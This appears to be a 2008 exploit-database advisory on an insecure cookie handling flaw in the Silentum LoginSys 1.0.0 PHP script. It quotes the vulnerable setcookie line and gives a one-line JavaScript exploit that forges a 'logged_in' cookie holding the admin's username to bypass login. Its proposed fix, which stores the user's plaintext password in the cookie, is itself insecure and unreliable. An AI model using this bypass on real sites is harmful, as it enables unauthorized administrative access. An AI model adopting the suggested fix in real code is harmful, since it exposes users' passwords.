Silentum LoginSys 1.0.0 Insecure Cookie Handling vulnerability

2008-12-28T00:00:00
ID 1337DAY-ID-4556
Type zdt
Reporter Osirys
Modified 2008-12-28T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ==============================================================
Silentum LoginSys 1.0.0 Insecure Cookie Handling vulnerability
==============================================================


[START]

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[0x01] Informations:

Script         : Silentum LoginSys 1.0.0
Download       : http://www.hotscripts.com/jump.php?listing_id=69667&jump_type=1
Vulnerability  : Insecure Cookie Handling
Author         : Osirys
Website        : http://osirys.org
Notes          : Proud to be Italian


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[0x02] Bug: [Insecure Cookie Handling]
######

Bugged file is: /[path]/login2.php

[CODE]

	else {
	setcookie("logged_in", $login_user_name, time()+60*60*24*$logged_in_for, "/");
	header("Location: index.php");
	exit;
	}

[/CODE]

If we log in correctly, a cookie is set with name "logged_in" and as content the username name.

[!] FIX: Set as content username's password.

[CODE] setcookie("logged_in", $login_password, time()+60*60*24*$logged_in_for, "/"); [/CODE]


[!] EXPLOIT: javascript:document.cookie = "logged_in=admin_username; path=/";
             *admin_username is the nick of the administrator

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[/END]



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